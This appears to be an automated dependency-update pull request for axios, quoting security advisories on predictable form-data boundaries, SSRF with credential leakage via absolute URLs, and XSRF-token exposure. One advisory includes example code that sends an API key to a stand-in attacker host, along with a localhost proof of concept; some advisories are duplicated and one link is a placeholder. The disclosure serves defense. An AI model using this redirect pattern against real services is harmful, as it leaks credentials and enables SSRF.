🚨 [security] [client] Update axios 0.21.4 → 1.11.0 (major)

[depfu]

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🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

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Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ axios (0.21.4 → 1.11.0) · Repo · Changelog

Security Advisories 🚨

🚨 Axios has Transitive Critical Vulnerability via form-data — Predictable Boundary Values (CVE-2025-7783)

Summary

A critical vulnerability exists in the form-data package used by axios@1.10.0. The issue allows an attacker to predict multipart boundary values generated using Math.random(), opening the door to HTTP parameter pollution or injection attacks.

This was submitted in issue #6969 and addressed in pull request #6970.

Details

The vulnerable package form-data@4.0.0 is used by axios@1.10.0 as a transitive dependency. It uses non-secure, deterministic randomness (Math.random()) to generate multipart boundary strings.

This flaw is tracked under Snyk Advisory SNYK-JS-FORMDATA-10841150 and CVE-2025-7783.

Affected form-data versions:

• <2.5.4

• =3.0.0 <3.0.4

• =4.0.0 <4.0.4

Since axios@1.10.0 pulls in form-data@4.0.0, it is exposed to this issue.

PoC

1. Install Axios: - npm install axios@1.10.0
   2.Run snyk test:

Tested 104 dependencies for known issues, found 1 issue, 1 vulnerable path.
✗ Predictable Value Range from Previous Values [Critical Severity]

in form-data@4.0.0 via axios@1.10.0 > form-data@4.0.0

3. Trigger a multipart/form-data request. Observe the boundary header uses predictable random values, which could be exploited in a targeted environment.

Impact

• Vulnerability Type: Predictable Value / HTTP Parameter Pollution
• Risk: Critical (CVSS 9.4)
• Impacted Users: Any application using axios@1.10.0 to submit multipart form-data

This could potentially allow attackers to:

• Interfere with multipart request parsing
• Inject unintended parameters
• Exploit backend deserialization logic depending on content boundaries

Related Links

GitHub Issue #6969

Pull Request #xxxx (replace with actual link)

Snyk Advisory

form-data on npm

🚨 axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: #6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";
const internalAPIClient = axios.create({

baseURL: "http://example.test/api/v1/users/",

headers: {

"X-API-KEY": "1234567890",

},

});
// const userId = "123";

const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

• When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
• Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

1. Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

2. Create a script (e.g., main.js):

import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);

3. Run the script:

$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

• Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
• SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
• Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

🚨 axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: #6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";
const internalAPIClient = axios.create({

baseURL: "http://example.test/api/v1/users/",

headers: {

"X-API-KEY": "1234567890",

},

});
// const userId = "123";

const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

• When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
• Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

1. Set up two simple HTTP servers:

mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

2. Create a script (e.g., main.js):

import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);

3. Run the script:

$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

• Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
• SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
• Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

🚨 Server-Side Request Forgery in axios

axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.

🚨 Axios Cross-Site Request Forgery Vulnerability

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

🚨 Axios Cross-Site Request Forgery Vulnerability

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

🆕 call-bind-apply-helpers (added, 1.0.2)

🆕 dunder-proto (added, 1.0.1)

🆕 es-define-property (added, 1.0.1)

🆕 es-errors (added, 1.3.0)

🆕 es-object-atoms (added, 1.1.1)

🆕 es-set-tostringtag (added, 2.1.0)

🆕 get-proto (added, 1.0.1)

🆕 gopd (added, 1.2.0)

🆕 hasown (added, 2.0.2)

🆕 math-intrinsics (added, 1.1.0)

🆕 proxy-from-env (added, 1.1.0)

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Closed in favor of #431.